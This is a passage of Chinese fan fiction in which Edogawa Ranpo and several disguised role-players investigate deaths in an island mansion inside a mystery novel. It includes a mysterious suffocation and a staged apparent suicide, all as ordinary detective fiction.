江户川乱步冷笑一声,他毫不掩饰自己的轻蔑:“或许我应该换句话来问, 你们也是接收到了超越者的邀请,来到这个故事里,来进行一场扮演的游戏?” 众人沉默了下,那个最年轻的人左右望了望,也没有说话。 江户川乱步丝毫不慌,他淡淡道:“我先前还很疑惑。我要在这里见一个人,可故事中的人物都是虚拟的,我又该怎样与他相见。但在见到你们后,我忽然反应过来,有些时候,人与人相见,不一定是要用自己的面貌,既然连场景都能是假的,与其带上一个面具,还要伪装自己的身形,不如直接用另一副身体来与我会面,这样一来,只要自己不透露,交接就是最安全的。” “不要说的好像是黑|道接头一样啊!”年轻的“侄子”忍不住吐槽了一句,紧接着,他又看着乱步道:“没想到连‘侦探’都是我们的人,可是这样一来,这个故事又该怎么继续下去呢?” “对了,你可以叫我‘龙一’,我和你一样,也是个侦探哦。”他显然没有要继续隐瞒下去的意思,很爽快地透露出了一点自己的消息。 倒是这样一来,一开始便无法隐藏身份的江户川乱步才像是彻底被摆在了明面上。 见他们说开,那个医生职业的中年人也松下了身体,他有些苦恼地揉了揉眉心,烦忧道:“诶,我还有很多工作要做啊,突然被邀请到这里来,拒绝又不好拒绝……你们还是叫我‘医生’吧,也好辨认。不过说来,我觉得我扮演得还是挺像的,你是怎么认出我们不是本人的?” 江户川乱步看向“龙一”,“龙一”尴尬地笑了笑:“看来是我没有扮演好……” 江户川乱步平声道:“我问过这里的管家,这家主人的侄子虽然年轻,但平日里其实是一位吃喝嫖赌样样皆精的人。” “龙一”苦笑,他一时之间,没法把握住这种人物的精髓,就算他的母亲是闻名全球的影星,他的演技也只能说尚可。 “只要知道参与者不止我一个,就很容易推断出,其他人也有可能是扮演者,尝试着问一下也没什么。”江户川乱步没说的是,他们还在下面安顿的时候,他就已经从别墅女仆那里弄来了他们身份上的全部讯息,一些小的细节他也没放过。 他看向白西装的青年,青年收起了跋扈,但姿态依旧是冷冷的,“叫我‘京介’。” “那么,回到刚才的问题,你们中,有谁知道这个故事讲的是什么吗?”他问。 “你是说,我们进来的是一个故事,一个被人定好了开头和结尾,还有中间叙事经过的故事?”“医生”重新问了下,像是刚刚才知晓这一点。 “没有错,”“龙一”为其解释道:“就像是一些小说网站上的同人小说一样,主角从外面的世界穿越进了故事中,由此改变了情节的走向和结局。我们就是这样的人物。” 他叹息一声:“那位将我们扔进来时也没说清楚,只说是参与一场游戏。说实话,在刚来这里的时候,我本来就岌岌可危的世界观更是破碎一地,这下是连拼都拼不回来了。” “还有,”他犹豫了下,还是道:“我虽然不知道这个故事讲的是什么,但我知道这个故事的名字叫什么……” 几个人都一起看向他。 “龙一”不好意思地说:“这应该是一本书,一本叫做《黄昏之血》的书。” “你没看过?”那位叫做“京介”的人首次发问,他皱着眉,似有不愉。 这个家伙难道在外面是个不会被人违抗的大人物吗?“龙一”一边在心里偷偷地想,一边又推翻了自己的猜测。不,在这样一个游戏中,谁表现出来的性格都有可能不是真的,具体来说,这场游戏还没开局,现在只是给出时间,让他们互相认识一番。 “龙一”一边挠着脸,一边道:“我女朋友倒是买过一本,她同我说过这个开头,所以我很快就能辨认出来,但是后面的……”他面露惭愧:“我还没有看呢。” 他没有说的是,他与这本书的作者还是现实中的好友,只可惜,这一次只有他过来,若是作者本人过来了,不知他在自己的故事里,会有多么如鱼得水。 几人有些失望地收回目光。 江户川乱步推推眼镜,但下一秒,空无一物的鼻梁就在提醒他,眼镜已经被他事先摘下,放在了侦探社的桌台上。刚才的突然问话是一种话术,能让人的思路为其所引导,令其掌握住话语权。 他冷静道:“没看过剧情也不一定是坏事,这个故事虽然是由那本书衍生而来,但里面的剧情不一定就是没有改变的。” “你是说,”医生的眉眼轻挑:“让我们进来的人有可能会改变故事的情节?” “不一定是他,也有可能是另外一人。”想到自己迄今为止,仍没有一点爱伦坡的踪迹,他便可以确定,他应当是在故事之外,以另一种视觉在观察着自己。 外界的大浣熊又发出了尖利有节奏的笑声,像是万分期待之后的发展。一只袖珍型的小浣熊正在努力攀附着往上爬,却怎么也唤不来主人的注意力,急得它眼泪汪汪。但随着时间的流逝,它身上的异变也逐渐显露出端倪。 “我也听说过那本书,是今年的人气新作。”“京介”松了眉,面上让人看不出他的心绪:“只可惜,据他人所说,那是一个悲伤的故事,所以我就没有多加关注了。” “我不喜欢悲剧。” “也就是说,”“医生”拍拍手道:“我们在座的四个人中,没有一个人知晓这个故事的走向,换而言之,我们没办法从中寻得一丝助力?” “龙一”丝毫没有受到打击,他抱着双臂站起来,满面信心道:“没有剧情又能怎样?你会愿意就此放弃?只要是‘案件’,就可以由人来推理。不如说,这样更好,一览无余的真相才是无聊到爆炸,一点一点揭开面纱,才是对未知最大的挑战。你说是这样吗,江户川侦探?” 江户川乱步拉了拉自己的帽檐,他几乎能从这小子的身上看出他朝气蓬勃、自信向上的昂扬身姿……这个家伙会是“无色之王”吗? 不好,一旦接受了所有人都有可能是在扮演的设定,一些外在的表现根本不足以为他判定一个人的性情,全部一切都有可能是假的,他看出来的东西也有可能……不,他不能自己吓自己。 可是,那位“王”为什么要这样做。既然应允了那位阁下为他们搭建相见的平台,又为何在未见时缄默不言? 难道,他还需要通过什么考验?规则是将他从这些人中找出来?江户川乱步的目光在几人身上转动了个来回。 “是吗?”江户川乱步回应起来:“在侦探一途上,我从来没瞧见有人能超过我的。我期待着你的表演。” “客人,你们的盐焗大虾。这是最后一道菜品了,希望你们用餐愉快!”身姿挺拔的管家从门后走了过来,他穿着一身黑马甲白衬衣,手绢系在胸口,彬彬有礼地在为众人布好餐后,就再次退了下去。 这次的晚餐就在两位侦探的彼此对视中结束了。虽然是故事,但无论是事物还是人物,都找不到一丝虚假的成分,他们一路奔波而来,身体上早已疲惫,放入口中的菜肴真实不虚、鲜嫩多汁,实实在在地缓解了它们的饥饿。 来不及思考更多,他们在来到的第一夜,俱都陷入到了沉沉的睡眠中去。 直到第二日清晨,一声尖叫,打破了平静。 江户川乱步倏然睁开眼,整个人从床上跳下来,昨晚就他都没有褪下过衣衫,这下只要拿起一边的帽子,便可以直接出门了。 他推开门,向着一切纷扰的中心走去。他知道,故事开始步入了漩涡。在那里,他见到自己的三位“队友”已然到来,见到他,他们冲他点点头,然后微微让开了道路。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 死者与噩梦 有人说, 时间能冲淡一切,也有人说,复仇之后留下来的只有空虚, 可是他们不知道,自那日之后,你的生命中, 唯余那抹黄昏中的血色,日日往复, 无法忘怀。那道血色如同火焰,焚烧了她十年的长夜, 使其成为了另一种的怪物。 ——“我是个瓷器,被高高拿起, 又重重摔下。‘咚’, 你听, 那是我破碎在过往的声音。” 森岛爱是这座别墅里的一位女仆,她是在三年前来到这座岛上的。她的过往不太好,幼时曾被贩子拐走, 好不容易长大后, 磕磕绊绊地也没读多少书。她做过很多杂工, 但大都是给人打下手的活计, 有许多和她一样年纪的女孩子,年龄轻轻地就结了婚, 这也是一种逃避艰难生活的方式, 但她不想这样做。 一是因为她不想就这样将自己的一生托付出去,在外面的时候都没有遇见多么好的人, 凭什么认为走入婚姻中去后,那个家伙就会变成好的呢?婚姻只会给你的眼睛添上一抹滤镜, 但那改变不了他的本质;二是因为,她还怀抱着想要找到自己父母的期望,她总认为,当年的她并不是被他们故意遗弃的,在依稀还有的记忆中,她是笑着被自己的父母抱在怀里的。 “好冷啊。”小町小雪紧了紧手臂,对着她说。这个女孩同自己一样,也是这座别墅中的女仆,她是一年前来的,比自己要年轻一些,面容也姣好些,或许是因为年纪的缘故,她的眼中还带有一丝未被摧残的天真,偶尔说出来的话,也带着点单纯的意味,很难想象,她是怎样找到这里这份工作的。 在没有阳光的时候,海边的空气总是潮湿的。更严重的是暴风雨之时,空气沉重到像是能挤出水来。往往那个时候,管家总是会驱使她们将每一扇的门窗都关闭得严严实实的,那个时候的她们,会听到有狂风在外呼啸,像是怪兽走过一样,来来回回不停歇。 “春江先生近期身体又不大好了,”小町小雪略带担忧地说:“听说是他以前工作留下来的后遗症,最近老是找医生过来,给他看了好几次,说是要好好休息,不能操劳。唉,希望他能好过一点,生病了可是很不好受的。” 森岛爱对这位春江先生了解的也不多,只听说他以前是做海上工作的,后来不知怎的发了迹,又继承下来了这座孤置海上的别墅,一开始的时候他来到这里的次数不多,后来才搬到这里来,开始了自己隐居的生活。 想来也是富人们特有的生活方式吧。 【春江英才其实一开始并不是富人,在十多年前的时候,他还是海上一个为了挣些钱财早出晚归的劳苦人,他一直羡慕着旁人悠闲自在的生活,在小的时候就曾经暗恨,为什么自己的父母不是富贵的人呢?偏偏还总是催促自己努力上进,明明正是因为你们自己从前的不上进,才造成了他今天的贫穷,有什么脸这样批判自己? 但后来发生了一些事。那件事造就了今日的他,他其实并不介意说出自己的过往,因为富人们的发家,总难免会有一些不能现于人前的事,相反,他还很自豪于自己的果断,人总是要丢弃一些什么,才能看清,这个世界上,口号大都是虚的,只有到手的,才是真的。】 一只手将书翻了一页,这本书的做工很好,字迹清晰,还有插图印在其中,散发出墨香的味道。 【他并不相信这世上有鬼神,因为他已经安安稳稳活了五十多年了,最近的十年里也没出什么变故。只是最近,他不得不去请来医生,因为他的身体已不大好了,近几天老是恍惚看见一些模糊的东西,他怀疑自己的脑子里出了问题,为此,他请来的这位医生,还精通精神方面的治疗。 但医生并没有检查出什么来,只说是让他好好休息,按时服药,这样能够缓解他精神的紧张,也能让他的身体得到放松。该死,如果这样真有用,他还请你来做什么,庸医! 又是一个夜晚。春江英才已经陷入了深沉的睡眠,但在某一个时刻,他突然惊醒,不知为何,他就是感到有人在看他。这种感觉很难形容,仿佛是突然生出了第三只的眼睛,在一片寂静中,他看到有一个黑影正站在门口,房间的门不知何时被打开了,这个影子就这样站在那里,静静地望着他。 他的心中生出了恐惧,他想要动一动,想要睁开眼睛看看,这是不是自己做的一个噩梦。可不知为何,他使出了浑身的力气,身体却像块冰冷的铁一样,无法动作一丝。黑影冷漠地注视着他,它的目光落在他的身体上,像是在打量一个猎物,春江英才的心一下子就被惊惧所攫取,他拼命地挣扎,恍如溺水的人抓取着最后的一缕生机,他猛地睁开眼睛,弹起身,惊慌地往门口望。 房门正好好地关着,没有人,也没有黑影。窗户也被关的很严实,窗帘垂落而下,房间里除了他,没有第二个人。春江英才咕哝了一句,才发觉这真的只是一个噩梦,难道是自己白天里想的太多,所以晚上才做了这样奇怪的梦?但,既然是梦,也便不用纠结,他一贯胆子很大,想了想,就又继续去睡了。 一夜的光怪陆离,后半夜的他做了更多的、更离奇也更不可思议的梦,等到他醒来,这些梦又如青烟一般从他的脑海中消去,这令他更加确定第一个的也是梦。他将那时的警醒散去,又开始了第二日的生活。】 江户川乱步没有看过那部作品,他自然不知道这座宅子的主人有过怎样的经历,一些事情的发生不是一蹴而就的,在那之前,就如同生出了霉斑的食物,是一点一点腐坏的。甚至有些事,是能追溯到很久远的从前。 就如同人,也不是一天就被打垮的。 【医生给他留了药,他暂时没有吃。他是很相信现代医学的,但前段时间的多梦让他对这些药产生了质疑。也许这些药会对他的身体增添压力,让他陷入到犹如漩涡般的虚幻中去?他觉得自己要有一段真正的休息时间。之后再吃也不迟。 但这并没有用。这是他第二次做这个梦了,就像是个清醒梦,他在心里隐隐有了自己是在梦中的感知,但,‘他’觉得这没什么大不了的,人都会做梦,我只是在做梦而已。可是,有风。 为什么会有风?他记得自己在入睡前,已经确认了门和窗都被关上了。但是,风好大啊,它们钻进了他的被窝,将被子的边沿吹得鼓起,他想要将它们按压下,但手脚再次不听使唤,只能任凭它们在他的被子里到处乱窜,将之吹得漂浮起来。 好冷啊,他的手臂冰凉,身体像具尸体一般动也不能动,他看向门外,不知何时,房门又被悄悄打开了,这一次,他没有看到那个黑影,它没站在那里,春江英才的心中疯狂地涌出寒意。怎么回事,它在哪里?他转动脑袋,四处找寻。 忽然,他看向了前方。那里不知何时挂着一幅画,画上画着的是一个女人,一个很美丽抱着乐器的女人,她有着长长的如鬓的头发,和姣好柔软的身体,现在,她忽而眨了眨眼睛,冲他笑了笑。她动了起来。 春江英才觉得有些莫名,他记得这幅画是他从岛外带回来的,从一个收藏家的手中,花费了几百万日元买回来的,他喜欢这个女人的姿态和她顺服的神情,可是现在,她活了!她一点一点地从画里面走出来,先是脚,然后是身体和脸,她向他走近,然后猛然抓了一把手中乐器的弦。 ‘铮——’,一声清鸣。 春江英才眼珠爆凸,他感到有极坚韧细锐的东西从后方一下子就套住了他的脖颈,他本能地用手去抓那锋利的物品,是琴弦!他口中呜呜出声,窒息的痛苦让他拼命地呼吸,想要挣脱束缚,可纵使他再努力,也逃脱不了这场噩梦,他感到头晕目眩,双手双脚开始发软,更多的黑暗涌来…… 又是一日清晨,春江英才的尸体在他的房间中,被送来早餐的女仆发现。一声惊声的尖叫打破了早晨的宁静,所有人被惊醒,他们围聚在这里,充满惊恐地互相讨论着。他们在猜测春江英才死因,有人认为他是死于谋杀,也有人认为他是因病而死。不管怎样,现在都是那个人该登场的时候了。 便是此时,侦探走了过来。】 江户川乱步一边往前走的时候,还在一边观察所有人的神情。扮演者们都很平静,或者说,他们现实中估计也都不是一般的人。只有那个最年轻的,现在已经围在了尸体边在检查着什么,乱步已经相信他也是侦探了,因为他的手法很熟练,姿态也很郑重。”龙一“给出了简单的判断:“死亡时间是昨晚两三点左右,更具体的时间需要由法医来判定,他的样子看上去是死于窒息……” 死者的姿态很恐怖,面上泛青,双手紧紧抓在脖子前,像是在抓着什么不存在的东西。他的双目中流露出巨大的惊恐,犹如见到了什么不该有的妖怪。房间里没有外来人的痕迹,死亡时,门和窗都是紧闭着的。 第112章 其它的因由 他抬起头, 与江户川乱步对视一眼。 江户川乱步来到尸体面前,稍稍打量了它一会。不需要“龙一”再说,他就已经看出了这具尸体的情况。 一边的“医生”稍稍往后退, 他摇了摇头,以一种奇妙的语气说:“一下子遇见两位侦探,这在一个正常的故事中, 应该是很难遇见的吧?” 一边的管家脸色很难看,女仆们面色苍白, 他们似乎都没想到会发生这样的事,管家首先踏出一步道:“我会去联系警察局, 不过最近的一趟船,可能要两天后才到。” 【其实管家说谎了, 需要隔几天到的, 都是运送物资的商船, 发生了刑事案件,依照现代的规则,是要立即出警的。很显然, 这位管家有着自己的小秘密。】文字上如此叙说。 江户川乱步眯着眼, 看了会这位管家, 对方推了下眼镜, 强忍着与他对视。 江户川乱步知道,一个故事想要精彩, 人物的丰富度是一个很关键的因素, 管家这样一个重要的职位,在他的身后, 也一定有着一条支线任务待解锁。他笑了下,双眼仿如刺透了他的内心, 让人更加不安起来。 “虽然看样子是窒息而死,但很奇怪的是,他的脖子上没有勒痕,准确来说,只有他自己手的痕迹,就像是有某种无形无质的东西套在了他的脖子上,他想要抓住它,但因为不存在,所以只能在脖子上留下道道抓痕。这听起来犹如幽魂的手段一样,”将围观的人都驱散后,“龙一”蹲了下来,将尸体的情况一一道出:“或许这就是凶手的目的,他想要让一切归类到鬼怪身上去。” “为什么不怀疑真的是鬼怪呢?”“医生”很好奇:“你我都知道我们现在在哪里,在这里,出现一些日常解释不了的东西也并非不可能。” “因为爱伦坡的异能力有限定,他只能催化出推理剧情的世界,”江户川乱步十分冷静:“他能够构建出不属于他笔下的世界就已经很令我震惊了。不可能一下子出现这样大的改动。这是故事本质的问题,推理的剧本不会出现超凡的能力,否则的话,那本书不可能获得推理协会的奖项。” “如无必要,勿增实体。”乱步说:“不要设想一些还没发生的事。” “好吧,”“医生”松软了语气,他微笑着说:“是我多虑了。” 江户川乱步收回了目光。 “他的尸体符合一切窒息死的状况,但既然不是勒死,”江户川乱步也走近了过去,观察了一下他的口鼻,视线落在他的胸口处:“那就有可能是其它的原因令他失去了呼吸的能力。” “药物!”“是药!”“龙一”与他一同出声,二人的视线又一次交接在一起,眨眼间,仿若有什么东西在其中生成。 江户川乱步转过头来,他冲着“医生”说:“你过来检查一下,看看他是不是服用了一些有可能引起窒息的药。” “龙一”则是对管家说:“听说他的身体不太好,日常都需要用药来维持健康。他用的是哪些药,可以交给我们看看吗?” 在管家去拿药的过程中,江户川乱步走到场外,开始打听起了这位死者的过往。 【春江英才的一生是跌宕起伏的一生,年少时的贫穷培养起了他对金钱永无止境的渴求,等到他日后富贵了,以为会这样一直走下去,谁知道,商场上的浪涛总是在你没料想到的时候覆压下来。在一波又一波的冲击下,他迅速被打回了原形,从能够出入上流社会的富豪,又变回了颓废的老年的男人。就好像是中间十年的富贵生活是一场梦一般,梦醒了,自然也该回归到现实了。 他仿佛一条被人狠狠揍了一顿的野狗,一瘸一拐地从茂木的森林被赶到无人的荒岛。这里是他唯一还剩下的财产,在这里,他还依稀留存着当初富贵时的体面。恍如一场轮回,他当初是在这里发家,也将在这里终结。】 女仆们并不知道自家老爷在外面的生活,但她们也能瞧出主人家的窘迫,毕竟,一些被放置在这里的古董的花瓶都拿去卖了,由此可见春江先生的颓势。 江户川乱步若有所思,“龙一”在调查春江英才的诊疗记录。这两位侦探的行动力非常强,这就衬托得另两人有些无所事事的样子,好似在划水。 “京介”很少插入到他们的交谈中去。他的身份是春江英才朋友的孩子,这一次过来,是有事情要商谈。可惜,还没等他见到这里的主人,对方就死去了,他也就无事可做。 【这个青年是一个很傲慢的人,在他的成长过程中,他经历过贫穷与乍富,但这样的转换没能给他带去多少感悟,相反,他对待人的态度更恶劣了。他对事总是没多大耐心,这是他从小的生活环境养成的,因为一旦不能立刻得到回报,他就有可能饿肚子了,所以纵使后来生活改变,他也依旧保持着这种心态。】 他的手中拿着一颗骰子,骰子有六面,每一面上都只是简单地写着个数字。他坐在客厅地沙发上,像是在想着什么事。 森岛爱在路过的时候,就见到他这幅沉思的模样。她愣了愣,不由走到他面前道:“你看起来有些奇怪。” “京介”用一种很奇妙的眼神望向她,这种眼神让森岛爱以为自己有哪里不对,像是后面多生出了两条手臂,又或者是头上长了朵花。但其实不只是他,这一次过来的四个人,都有哪里不对的样子。 她有些尴尬地笑了笑:“你的同伴都在查案,你不去吗?” 青年皱了皱眉,他不耐烦道:“他们是侦探,我又不是!” 森岛爱只好笑道:“抱歉,我以为你也会对那感兴趣。” “你们似乎对这些都见怪不怪的样子,外面的案件也有很多吗?”她状似好奇问。 青年没有回答,当他没有显露出傲慢的时候,人们便会发现他有一双过于沉静的眼睛。当然,若是没有格外敏锐的观察力,是注意不到这一点的。但准确来说,他其实扮演得并不好,没有将心沉入进去,所以,在有心人眼里,除了“江户川乱步”这个侦探外,其他三个人都挺奇怪的。 森岛爱不由为之吸引,她开始想,对方的心中是在想些什么呢? 说实话,在这里的主人家死去的现在,这四位从外界到来的人,其实才是最有嫌疑的人。只是江户川乱步是侦探,他天然便有对案件有进行调查的权力,他对于另一位“侦探”的搜查也没有进行制止,所以才将一切都把握在了他们手里。 森岛爱准备离开了,她虽然对这青年好奇,但她知道两人的身份,靠得太近对她而言不是好事。她已经看到管家正在往这里走来,小町小雪跟在他旁边,端着一个盘子,上面摆放着一些水果和茶水,应该是给客人们的。 小町小雪看到她,面上露出一抹开心的笑。不久前见到尸体的时候还是恐惧莫名的样子,现在心情就调节好了,她不得不感叹,这个家伙还真是有颗大心脏。 她赶紧低下头,向着那边走去。 “京介”注视着她们的背影。 【她其实有些时候总是会怀疑,自己是否真的需要这样做。明明有烈火一般的仇恨在她的心底里压抑,但她却总能表演出一副若无其事的样子。复仇有千百种的方法,她却是选择了最麻烦的一种。当一件事被拖得太长,主事的人往往都会陷入到无尽的焦躁中去,若是没有,是否她也是在享受着这一切呢? 父亲和母亲啊,我是不是在这黑暗的漩涡中越陷越深了?可是,我依旧想要看到他们痛苦难捱的样子,死亡,对于他们来说,是将他们从折磨中带走的解脱。为何这个世界没有地狱? 没有人执掌起罚恶的权柄,善人便不能得到公平。】 总有花是长在阴影中的。她从未接收到阳光,所以她的每一根刺,都是向外生长出的。 江户川乱步和“龙一”调查了一天。“龙一”是真的在倾心调查这桩案子,他现今已经有些庆幸自己没有去看那本书了,否则的话,在刚一进入的开始就知道了所有的真相,这于他而言,无疑是件非常痛苦的事。他现在已经找到了一些线索,但还缺乏了证据。 江户川乱步则不同,他在调查案子的时候,还在关注着这座别墅中的每一个人。不仅是外来者,还有一开始就在其中的人。如果说他们可以顶替别人的身份,那所有人的身份便都不可信,那其中自然也包括了原本就在房屋中的人。 就连“凶手”,也未必不可能是他人扮演的。应该说,他来到这里,最终的目的根本不是破案。或许那位超越者有其它的目的,“无色之王”也有自己的主张,但这些都与他无关,他要做的,只是找出那个人。他已有预感,这一切,只是开始。他可能需要更快些。 这只是一场混乱的开始。在他们这些外来者到来的情况下,原本完好的故事线被打破,一些精彩的演绎戛然而止,就像是暴风雨前的宁静……那位超越者为什么要他将爱伦坡带来,他们都知道,这与坡的异能力有关。 但,还有,他还有其它的因由。 第113章 不同的立场 江户川乱步有时候会在想, 如果他们出了这座岛,外面的环境是不是也如同这里这样真实? 不,这样的事只要想一想就会令他发笑, 爱伦坡若是能做到这一点,他也就不是“组合”中的策划师了,能“创造”出一个世界, 他才会是超越者。 “家主他其实有很长一段时间没睡好了,”管家被问到死者的情况, 眼中满是悲痛:“最近几天他经常和我说,能看到有人进了他房间, 但其实,每一次入睡之后, 他都会将房门锁上, 窗户也从里面拴紧, 根本不会有人能进去。” “只有你拥有钥匙吗?” “是的。”管家回答道。 江户川乱步手里拿着一瓶药,这种药是治疗焦虑与失眠的抗抑郁药,还有另外一种药, 是治疗心脏问题的, 前者少量服用有可能会引发呼吸抑制, 但远远达不到使人窒息的程度, 而后者……他略略思忖了下,问:“这些药都是谁给他开的?” 管家的神情一下子就变得奇怪起来, 他说:“家主的身体健康一直都是由池井医生负责的, 这一次也是一样,我看他这两天和你们走的很近, 他没有同你说吗?” 江户川乱步顿了下,想起了这段时间一直都没有表现出异常的那个人。 “你们还是叫我‘医生’吧……” “突然被邀请到这里来, 拒绝又不好拒绝。” 乱步忽然想到了什么,一出门,就找到了“龙一”,对方现在正在死者的房间中敲敲打打,将耳朵贴在各处的墙面上,似是想找出什么。 “你成为这个人物的时候,除了你们的身份,有得到更多的记忆吗?”江户川乱步紧急问。 “龙一”有些茫然,但他还是思索了一下:“有一些基础的印象,也有一点过往的片段,像看影片一样,但能了解‘本身’是个什么人。” 果然,在有着超越者背景的情况下,爱伦坡那家伙的异能力不仅得到了扩张,还有了增强和变异……说不定他现在就在外面看着自己笑呢,这小子真该死啊! “那如果你的记忆中显示‘你’才是凶手,你会如何做呢?”江户川乱步突然问。 “啊?”“龙一”张大了嘴,他愣了一小下,然后,摸了摸下巴道:“我要是凶手,诶,嗯,说起来凶手在快要被抓住的时候心里会是怎么想的呢?如果想要瞒过侦探,最好的办法是什么呢?真有意思,我还没设身处地地换过一个身份来思考……嗯嗯,我大概会是直接自首吧!”在江户川乱步耐心的等候中,他伸出一根手指,十分自然地亮出一个笑容道:“当然,前提得是这个游戏失败了,不会遭受到任何惩罚。” “你在怀疑那个人吗?”“龙一”问:“确实,‘药’这方面的问题离不开‘医生’……” “你来参加这个游戏的原因是什么?”江户川乱步突然插入道。 “龙一”若有所思地瞧了他一眼:“其他人我是不知道啦,但我真的纯粹是为了破案来的,那位阁下告诉我,可以让我加入到一本推理书的故事里。” “我当时立马就兴奋起来,”他的双眼明亮,面上满是期盼:“如果可以进去书里,那岂不是说,我还能有机会进到《福尔摩斯探案集》里面,去和歇洛克还有华生真正见上面?天呐,你不知道这对于一个推理迷来说是一个多大的诱惑!” 江户川乱步叹了口气,这位确实聪慧,但也是几人中最没有伪装的人,只要他稍稍记下特征,回头回去现实里,不需要多久,他就能找出他真正的身份。而那位“医生”则是…… “对了,”就在江户川乱步还想要问些什么的时候,“龙一”忽而问道:“对于这栋别墅的过去,你有什么线索吗……” 与此同时的另一处空间。 “将这两个侦探扔进同一个故事,就算那个案子再怎么离奇,也根本不可能抵挡他们太多时间吧?”有人看见了他们的行动,懒懒地开口问。 “我要做的不是这些。”另一个人微微摇头,他轻松地坐在一边,翠色的长发披落,唇边含着一抹笑。 “这部作品是个好作品,但可惜,这一幕剧中的作案手法有些太难实现了。”有人就此评价道。 “另外,你不觉得吗,在这里面,复仇才是符合人理的。” 无论他们怎么评判,内里的剧情还在继续,江户川乱步和“龙一”又花费了一段时间,去与人询问这栋古老别墅的过去,但有意思的是,他们并没有得到自己想要的东西。 “原先的屋主?”在这里工作最久的女仆说:“这我倒是听说过,”她小小声切切私语,犹如在说什么隐秘之事:“据说是一位老夫人,和她的丈夫一起住在这里,只是后来……下场很悲惨……” “孩子?不,他们没有孩子,亲人也没有,否则的话,这座房子又怎么会落入到现任主人手中呢?” 【人的一生中,血缘关系我们天然就能拥有,它是天赐的缘分,是基因与感情上延续的一条线,但有些人,他们没有将这条线延伸下去。在我看来,这些人其实并没有什么错,因为活着没有什么是固定的,它只是一种物理上的常态。只有诞生出了爱与追求,才让这段旅程变得有了色彩,而这爱,也非是通俗广义上的爱情,它可以是亲情、是友情,是你对某项技艺的热爱,也可以是对于某个目标至死不渝的追求,延续,只是夹杂在无数个中的一个。 老太太便是这样的一位夫人,她和她的伴侣一起住在这座海岛的别墅中,他们有着年轻时候赚来的钱,和祖上遗留下的部分财产,这足以支持着他们过完之后的余生。 而我们的故事,一开始的起源实则是在这里。 某一天,一个年轻的女人从岛外过来拜访……】 这是书中的某段文字,简略地介绍了一些过往的背景。但这其实非常重要,在整篇的篇幅里,它也是出现在后半部分中。 “龙一”的头脑在飞速转动,在江户川乱步调查的时候,他花费了很长的一段时间,去将这栋别墅一一走通。所有的房间在他的脑中落成线,一份别墅的布局图就在他的心中生出了,他呼出口气,知道自己一直以来的猜测是正确的。 “我们需要去找找我们的‘同伴’了,”江户川乱步对“龙一”笑得危险:“恐怕,有很多的东西,他们都没有对我们说。” “也包括那位‘京介’吗?”“龙一”问。 江户川乱步沉思了下:“死者的过往一样有问题,他那里是我们的突破口。或许我们从一出场,所扮演的身份就不是同一边的人。” “龙一”咂了下舌:“扮演者之间的对抗吗?” “只是这样是不是有些不公平?”他有些疑惑地问:“我们这边有两位侦探,他们到了现在,还没有要去做什么的样子。再说了,他们又不是‘本人’,没必要真的按照身份去做。” 只是相处了这么一段时间,“龙一”就知道,江户川乱步绝对是他见过的侦探中最顶尖的一位,再加上自己,他很难想象,对手能从智商上将他们比下去。 “但他们也没说一定要帮助我们。”直视着“龙一”,乱步认真道:“在我们的面前,没有一个一定要破解这次案件的任务提示,从始至终,我们的动作都是依据着自身的职业和本心来行动的。不,准确来说,只有你一个,因为对于我来说,‘若合我意,一切皆好’,真相这种东西,只有我去追寻,它才重要。” “龙一”震惊了,继天野之后,他算是见到了又一个“特立独行”的侦探,他蠕动了下嘴,最后还是叹道:“如果是以前……算了,侦探和侦探都是不一样的,每个人都有不同的办案风格,只要是真的有能力,不是办错了案……” “我们先去找‘医生’,如果我没猜错,他绝对知道点什么,甚至有可能他就是其中的一位帮凶……”江户川乱步一边走,一边小声地与身后的“龙一”说。 他们的行动速度很快,因为调查花费了很多时间,所以此时的天快黑了,但还没彻底进入到黑夜。外面仍在下着小雨,屋内一片昏暗,墙壁上的灯不知何时已经亮了起来,为他们照出前方的路。 江户川乱步和“龙一”都没有去吃晚餐,他们甚至怀疑,在这片空间里,不吃也没什么。一路上碰到的仆人告诉他们,“医生”正在前厅里休息,已经过了好长一段时间。 突然,一声刺耳的尖叫打破了这一片的平静。这熟悉的一幕让江户川乱步的脚顿了下,与“龙一”对视一眼,下一秒,他们一同快速飞奔起来。 等到他们到达的时候,见到的就是这样一副场景。 森岛爱手中的果盘摔落在地上,几个苹果滚落四处,一具令人眼熟的身体躺倒在房间中央,一把匕首插在他的胸口上,猩红色的血液流出一地,他安详地面朝上躺着,双手还交叠在腹部,好似只是简单地入眠了。 “突然被邀请到这里来,拒绝又不好拒绝……”江户川乱步的心中突然又想起了“医生”在刚来的时候说出过的话。 “是医生,他居然死了,”“龙一”讶异地往后退出一步:“怎么会,和我们猜测的不一样!” 第114章 自主地退场 “医生”死得很突然, 如果说这是一场由超越者聚集起来的游戏,那他们就是一位位参与进来的玩家。玩家又怎么会那么容易死?尤其是被主办者看中的人。 “医生”的来历绝不简单,在江户川乱步对他的观察中, 他的言语和动作都滴水不漏,让他无从判断他的来处,这是很不可思议的, 在江户川乱步的过往中,往往他只用看人一两秒, 就能将他的信息全部挖掘出,他过于敏锐的洞察力, 常常在其自身都还没来得及反应前,就将一个人完全看透。 这样的人, 这样一个在现实中身份都可能极为特殊的人, 又怎么会在一篇推理故事中死去, 还是在篇章刚展开的时候? 他的视线落在他安详的面上,纵使是被匕首插入心脏,他的神情也毫无痛苦, 甚至是带上了一抹笑, 再加上自己之前和“龙一”推断出来的东西, 原来如此……若是这样, 那就说得通了。 女仆森岛爱脸上被骇然所占据,刚才的惊叫便是她发出的, 她身躯晃了晃, 像是无法承受眼前这一幕,她面色苍白道:“为什么……” 这是古宅中的第二位死者了, 他死去的颇为诡异,尤其是面上带着的笑, 似乎是在嘲讽某些人。在他们之后,其他的人也纷纷赶到了这里,管家神色苍白地在胸口划着十字,女仆们恐慌惊惧,而最后的一位“玩家”,他不需要赶来,因为在他们来临前,他就已经在此处了。 他蹲在“医生”的尸体前,用手中的一样东西拨弄着他的尸体。他不像是在检查,而像是在好奇他的死亡,他似乎对此很有兴趣。 “龙一”注意到了这一点,他想要上前:“等等,不要破坏现场……” 江户川乱步拉住他,在“龙一”疑惑回望的时候,他摇了摇头,小声地说:“再想想。” “看他的脸,还有他的手。”江户川乱步提示道。“龙一”若有所思地回望过去,注意到尸体姿态的诡异,稍息,他像是意识到了什么,面上闪过惊异。 “是的,他是故意‘自杀’的。”在“故意”和“自杀”这两个词上,江户川乱步加重了语气。 “你是说,他是为了不让我们从他那里调查出些什么,而选择了死亡?”“龙一”神情也有些复杂。 